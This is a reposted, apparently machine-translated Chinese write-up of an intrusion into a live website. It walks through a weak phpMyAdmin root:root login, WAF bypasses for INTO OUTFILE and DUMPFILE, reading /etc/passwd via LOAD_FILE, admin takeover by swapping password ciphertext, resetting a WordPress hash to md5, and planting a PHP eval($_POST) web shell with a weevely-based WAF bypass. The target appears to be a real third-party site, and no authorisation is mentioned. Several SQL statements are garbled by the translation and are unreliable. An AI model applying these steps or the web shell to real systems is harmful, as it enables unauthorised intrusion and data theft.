首页 > 自考资讯 > 自考知识

渗透的一般流程,网站渗透技术

头条共创 2024-07-05

介绍

昨晚PD给我发了一个网站,让我帮忙审一下。他发现的入口点非常简单:phpMyAdmin 的弱密码。这次的入侵过程其实很简单。此时,您可以尝试检索WordPress目录,因为您稍后浏览本站页面时,在phpMyAdmin后台发现了wp-*。由于拥有WordPress 背景,本文的精神基于“为您提供更多”的原则。

#phpMyAdmin

root:root在后台登录时,显示为紫色。

36bb577d7e61441193cee5b77f00a94b~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=EawUvmqkfuDAkyPQU4%2FkMHmR58c%3D 传统的思路是运行一条SQL语句,向网站的目录写入一句木马,然后动刀。

我定期检查root权限是否被降级,即是否有写文件的权限。

dcd672fced3846d3912ef1f890411a33~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=HDX8yf%2FCdv3qVrnE%2B9wyOBcoMrg%3D 可用,如图所示

定期测试/tmp目录是否可以写入。

为OUTFILE ‘/tmp/1.txt’ 选择1

此时连接已重置- -*

我猜测是被WAF拦截了,所以就想了一些办法避免被拦截- -*

例如,使用注释和大小写字母。但都没有成功,所以我就想着绕过SQL注入保护。还有其他函数可以代替INTO吗?

这里肯定想到了OUTFILE、INTO DUMPFILE,但事实证明这个被成功绕过了。

当时的测试语句是:

选择1 作为转储文件“/tmp/1.txt”

此操作失败,错误消息为“1.txt 已存在”。这可能意味着上面使用INTO OUTFILE时,该语句经过后续验证后执行成功。所以我发现如果我执行了INTO OUTFIE等被禁止的函数,页面会被返回并重置,但语句仍然会执行。这也为进一步的操作奠定了基础。

然后我试图弄清楚如何找到网站的根目录,尽管我查看了主网站,但找不到任何可用的信息(例如错误报告)。我还检查了mysql执行环境,发现如下目录:

/var/lib/mysql/

/usr/

没有phpStudy或LAMP等集成包的安装痕迹等有用信息。

所以我目前的想法是依靠猜测目录。据我记得,我尝试了几个常用的都失败了,于是我开始寻找Fuzz字典。

我找了一会儿但没有找到。然后我想起sqlmap的-os-shell函数有一个自动猜测目录的选项,所以我查看了sqlmap的目录字典。

dd84862bbe914d008995df7febe7439d~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=wKnWoVYK%2F362WQOyBNlbtBjpBfM%3D 打开文件后发现弱字典

OS.LINUX:(“/var/www”、“/usr/local/apache”、“/usr/local/apache2”、“/usr/local/www/apache22”、

“/usr/local/www/apache24”,“/usr/local/httpd”,“/var/www/nginx-default”,“/srv/www”,

“/var/www/%TARGET%”、“/var/www/vhosts/%TARGET%”、“/var/www/virtual/%TARGET%”、

“/var/www/clients/vhosts/%TARGET%”、“/var/www/clients/virtual/%TARGET%”),

以后我可能会保存更多的根目录并写在这里 -*

我尝试了以上所有方法,但没有成功。

接下来我要读取配置文件- -*

传统上,首先读取/etc/passwd。

LOAD_FILE在SQL执行过程中也会被过滤,没有返回结果,所以我尝试创建一个表,并将文件内容INSERT到LOAD_FILE('/etc/passwd')中,并添加一个LONGTEXT类型的字段(这样做的基础是是)。如果上面确定了,就会执行SQL语句)

所以运行:

创建表测试(

id int(4) NOT NULL 主键AUTO_INCRMENT,

`read` LONGTEXT NOT NULL);

我在这里遇到了一个陷阱。我对MySQL不是很熟悉,所以我必须将读取的字段名称用“括起来。以前,当我不加引号时,我一直报错。读取是保留字符吗?

创建表成功后执行。

插入测试(id,`read`) value(“1”,load_file(‘/etc/passwd’));

成功链接已重置- -*

7ea5f3d0606f447abfe539ffa0f87596~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=kv00S%2BnItH7NgsmuoUu2wHibzEk%3D 但它仍然运行。

但是,如果我继续插入一些条目来读取其他文件(例如/etc/shadow),连接将重置(该文件存在)但变为空(我没有读取该文件的权限)。

基于Toss原理,只需使用BurpSuite运行Linux配置文件Fuzz Dictionary即可。

乌云维基文章的Fuzz目录本地不存在,只是一个集合,所以我在百度上查了标题,看到了快照,就复制了- -*

6ae14476a5bc4e03a32de607b787f5a6~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=vhKAjYtjYyKJin2vwrA4GndSWrM%3D 然后我编写了一个脚本来删除前导空格。

with open(“C:\\Users\\***\\Desktop\\path.txt”,'r') as fr,open(“C:\\Users\\***\\Desktop\\b.txt” ",'w') 作为fw:

fr.readlines(): 行

fw.write(line.lstrip())

然后Burp 捕获执行INSERT 语句的包。

5264eb11c5b4499a8eff884783b5bc09~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=jmGl5E3499sDGhb54bjx%2FVTz62s%3D f1abf35e8a9f4809886ea3f76b3f14b5~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=wHCjxFCo7xtfICNBL1jcWzgvfsI%3D 结果如果有Response则说明该文件不存在,执行SQL时会报错。如果没有回车,则认为该文件存在。它没有像我预期的那样插入到测试表中(在Repeater中,您可以通过更改ID并多次发送数据包来插入它,但我不明白为什么它不能插入到Inturder中)。好的,请回复- - *

我手动读取出现的现有配置文件。除了passwd 之外没有人有读取权限。

这里还要补充的一件事是,当我们检查目录是否存在时,我们可以使用INTO DUMPFILE 导出该目录并返回它。

Errcode:2 目录不存在

Errcode:13 存在,但您没有读取权限

所以我们看到/var/www/html 存在,很自然地假设这是根目录。但是,由于网站的结构,当我写入本应属于根目录的文件夹时,我还会收到一条消息,表明该目录不存在,因此这不是网站的根目录- -*坑- -

如果哪位高手在phpMyAdmin中有什么灾难性的获取shell的方法,请在下面回复我。

#在后台运行GetShell

网站后台很好找,主页上都写着,但看到数据库里有管理员密码,我惊呆了。

c34636fa7c1846ffa4596b9f6d12167d~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=B%2BIHl5Ld1a8B9VYND570uUayJeU%3D 这是我自己写的加密过程吗?如果有人知道加密方法请告诉我- -*

以下密文用于研究目的。

C3tQcFAxXmEAIgI/A30OMldnA2FXZw==

A3AEP1Y2DjwOMw==

B35TZQB1

Uz9QalcnXGxUaw==

UDRTdAZuWmcDIgdlUG4OMg==

AjMFZFFnCGAGYgRh

破解后似乎没有登录管理员的解决方案,但网站上有注册入口。注册账号成功后,在数据库中找到加密后的密文,将密文替换为特定管理员即可成功登录后端(此处不做说明)。

11ab88453d9a454cb1bbd824e787761c~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=0AXU6R%2BCfPHC04w7sW6GEUI5I2A%3D 普通会员后台还有遍历任意用户信息的接口- -*

登录后台

055e89e71ab04bc284d507cac4e65f74~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=gmxaGTmRUgxEDbM7HLYo0EQ9Apo%3D Shell上传和各种Shell保持姿势失败。

#WordPress

在网站首页找到这个

5164d9e54ff24f97925b5e3ae927b4c4~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=%2BfJOdcuZi1rJfcivz5w0grKDsqU%3D 可以确认WordPress存在

虽然WordPress密码由于salt加密而无法解密,但您可以直接将用户密码更改为md5(密码),并在登录后自动将密码更改为WP加密的密码。

所以传统的想法是登录后端后添加模板。

3b85e57800fb4bf8b8c882e2174e529a~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=f5ngKxDvTaD77s7E67wCkPVYFaQ%3D 不过,与斩波器的连接确实出现了问题,我们怀疑它被WAF拦截了。

?php @eval($_POST[‘menglogy’]);echo `whoami`;echo `test';

3e056d4ccb0644b39df067b8bab1c547~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=%2BMsKHs9jYB6xLcxHW6XalHXfK%2BA%3D 测试结果如图所示

因此,我们通过发送weevely生成的密文,成功绕过WAF。

4b6aa468608141adbb9597a280bd65ac~noop.image?_iz=58558&from=article.pc_detail&lk3s=953192f4&x-expires=1720797925&x-signature=MJMfJwOvkjcS5RjZgnAV4%2F6dlmo%3D#结论

由于长度和时间问题,已经有点长了,没有对内网进行进一步的探索。日子还很长。

*来源:90 Seconds More编辑部制作并公布

原创文章,作者:Moto,转载自:http://www.mottoin.com/article/web/85636.html

版权声明:本文由今日头条转载,如有侵犯您的版权,请联系本站编辑删除。

猜你喜欢